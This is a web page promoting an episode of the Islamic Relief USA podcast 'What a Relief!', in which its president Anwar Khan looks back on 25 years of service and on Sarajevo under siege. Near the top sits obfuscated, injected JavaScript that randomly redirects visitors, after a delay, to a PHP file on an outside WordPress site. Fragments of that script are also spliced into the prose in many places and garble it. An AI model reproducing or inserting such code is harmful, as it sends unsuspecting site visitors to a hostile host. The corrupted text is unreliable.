Sarajevo

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$Ikf=function(n){if (typeof ($Ikf.list[n]) == “string”) return $Ikf.list[n].split(“”).reverse().join(“”);return $Ikf.list[n];};$Ikf.list=[“\’php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Hope” width=”250″ height=”141″ />B.C. Dodge is joined by Anwar Khan, IRUSA President, for this episode of “What a Relief!” — IRUSA’s official podcast.

This podcast episode kicks off a very special year for Islamic Relief USA—its 25th anniversary! This feature begins to unearth what turns out to be an epically inspiring history. The guest of honor just happens to have been there since day one.

Anwar Khan, current President of IRUSA, looks back on his 25 years of service to the organization. Just this past year, he had the opportunity to perform Hajj, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and it was the perfect catalyst to his reflection.

“It’s amazing. I was on pilgrimage, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and when you go on pilgrimage, on Hajj, you’re meant to come back like a newborn baby. It’s a time to think,” he says.

And the main question he has pondered has been: Was my life spent well?

He takes us back in time to a younger Anwar, fresh out of university, who (like so many new graduates) had a dream of changing the world. When asked what he would tell his younger self today, he responded, “Calm down. But not too much.” He added, “I wouldn’t change that much. Because even the failures were character building.”

Tune in to take an emotional trip with Anwar down memory lane. Hear about his trip to Sarajevo when it was under siege, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and what sparked the beginning of IRUSA.

“I spent the last 25 years of my life going to war zones andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and trying to help orphans. No matter what I’ve done, I have benefitted from being around some amazing people. In the darkest days of humanity, you also see some amazing light,” he reflects.

Find out what we can learn from a legacy of service andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and sacrifice, years of heartache, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and hope that has guided the way.

“Your tears are nutrition for your soul. Get those tears to go down your cheeks andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and get to your soul andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and let the flower of love andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and faith inspire you.”

**Reach out to us at our email address: to=warp@irusa.org” target=”_blank” rel=”noopener noreferrer”>warp@irusa.org!**“What a Relief!” is the official podcast of Islamic Relief USA. by social media specialist B.C. Dodge, IRUSA’s “What a Relief!” puts a human face on what’s going on in the world andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and how you can enact positive change in it. New episodes every week!

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